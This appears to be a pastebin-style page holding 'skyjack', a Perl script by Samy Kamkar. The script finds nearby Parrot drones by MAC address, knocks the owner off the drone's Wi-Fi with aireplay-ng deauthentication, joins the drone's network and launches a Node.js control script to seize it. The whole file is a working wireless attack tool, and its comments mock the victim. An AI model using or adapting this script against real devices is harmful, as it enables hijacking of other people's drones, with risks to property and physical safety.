sky jack master

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DATE: Jan. 12, 2014, 7:04 p.m.

FORMAT: Perl

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  1. #!/usr/bin/perl
  3. # skyjack, by samy kamkar
  5. # this software detects flying drones, deauthenticates the
  6. # owner of the targetted drone, then takes control of the drone
  8. # by samy kamkar, code@samy.pl
  9. # http://samy.pl
  10. # dec 2, 2013
  13. # mac addresses of ANY type of drone we want to attack
  14. # Parrot owns the 90:03:B7 block of MACs and a few others
  15. # see here: http://standards.ieee.org/develop/regauth/oui/oui.txt
  16. my @drone_macs = qw/90:03:B7 A0:14:3D 00:12:1C 00:26:7E/;
  19. use strict;
  21. my $interface = shift || "wlan1";
  22. my $interface2 = shift || "wlan0";
  24. # the JS to control our drone
  25. my $controljs = shift || "drone_control/drone_pwn.js";
  27. # paths to applications
  28. my $dhclient = "dhclient";
  29. my $iwconfig = "iwconfig";
  30. my $ifconfig = "ifconfig";
  31. my $airmon = "airmon-ng";
  32. my $aireplay = "aireplay-ng";
  33. my $aircrack = "aircrack-ng";
  34. my $airodump = "airodump-ng";
  35. my $nodejs = "nodejs";
  38. # put device into monitor mode
  39. sudo($ifconfig, $interface, "down");
  40. #sudo($airmon, "start", $interface);
  42. # tmpfile for ap output
  43. my $tmpfile = "/tmp/dronestrike";
  44. my %skyjacked;
  46. while (1)
  47. {
  49. # show user APs
  50. eval {
  51. local $SIG{INT} = sub { die };
  52. my $pid = open(DUMP, "|sudo $airodump --output-format csv -w $tmpfile $interface >>/dev/null 2>>/dev/null") || die "Can't run airodump ($airodump): $!";
  53. print "pid $pid\n";
  55. # wait 5 seconds then kill
  56. sleep 2;
  57. print DUMP "\cC";
  58. sleep 1;
  59. sudo("kill", $pid);
  60. sleep 1;
  61. sudo("kill", "-HUP", $pid);
  62. sleep 1;
  63. sudo("kill", "-9", $pid);
  64. sleep 1;
  65. sudo("killall", "-9", $aireplay, $airodump);
  66. #kill(9, $pid);
  67. close(DUMP);
  68. };
  70. sleep 4;
  71. # read in APs
  72. my %clients;
  73. my %chans;
  74. foreach my $tmpfile1 (glob("$tmpfile*.csv"))
  75. {
  76. open(APS, "<$tmpfile1") || print "Can't read tmp file $tmpfile1: $!";
  77. while (<APS>)
  78. {
  79. # strip weird chars
  80. s/[\0\r]//g;
  82. foreach my $dev (@drone_macs)
  83. {
  84. # determine the channel
  85. if (/^($dev:[\w:]+),\s+\S+\s+\S+\s+\S+\s+\S+\s+(\d+),.*(ardrone\S+),/)
  86. {
  87. print "CHANNEL $1 $2 $3\n";
  88. $chans{$1} = [$2, $3];
  89. }
  91. # grab our drone MAC and owner MAC
  92. if (/^([\w:]+).*\s($dev:[\w:]+),/)
  93. {
  94. print "CLIENT $1 $2\n";
  95. $clients{$1} = $2;
  96. }
  97. }
  98. }
  99. close(APS);
  100. sudo("rm", $tmpfile1);
  101. #unlink($tmpfile1);
  102. }
  103. print "\n\n";
  105. foreach my $cli (keys %clients)
  106. {
  107. print "Found client ($cli) connected to $chans{$clients{$cli}}[1] ($clients{$cli}, channel $chans{$clients{$cli}}[0])\n";
  110. # hop onto the channel of the ap
  111. print "Jumping onto drone's channel $chans{$clients{$cli}}[0]\n\n";
  112. #sudo($airmon, "start", $interface, $chans{$clients{$cli}}[0]);
  113. sudo($iwconfig, $interface, "channel", $chans{$clients{$cli}}[0]);
  115. sleep(1);
  117. # now, disconnect the TRUE owner of the drone.
  118. # sucker.
  119. print "Disconnecting the true owner of the drone ;)\n\n";
  120. sudo($aireplay, "-0", "3", "-a", $clients{$cli}, "-c", $cli, $interface);
  122. }
  124. sleep(2);
  126. # go into managed mode
  127. #sudo($airmon, "stop", $interface);
  129. # connect to each drone and run our zombie client!
  130. foreach my $drone (keys %chans)
  131. {
  132. # ignore drones we've skyjacked before -- thanks to @daviottenheimer for bug discovery!
  133. next if $skyjacked{$chans{$drone}[1]}++;
  135. print "\n\nConnecting to drone $chans{$drone}[1] ($drone)\n";
  136. sudo($iwconfig, $interface2, "essid", $chans{$drone}[1]);
  138. print "Acquiring IP from drone for hostile takeover\n";
  139. sudo($dhclient, "-v", $interface2);
  141. print "\n\nTAKING OVER DRONE\n";
  142. sudo($nodejs, $controljs);
  144. }
  146. sleep 5;
  147. }
  150. sub sudo
  151. {
  152. print "Running: @_\n";
  153. system("sudo", @_);
  154. }
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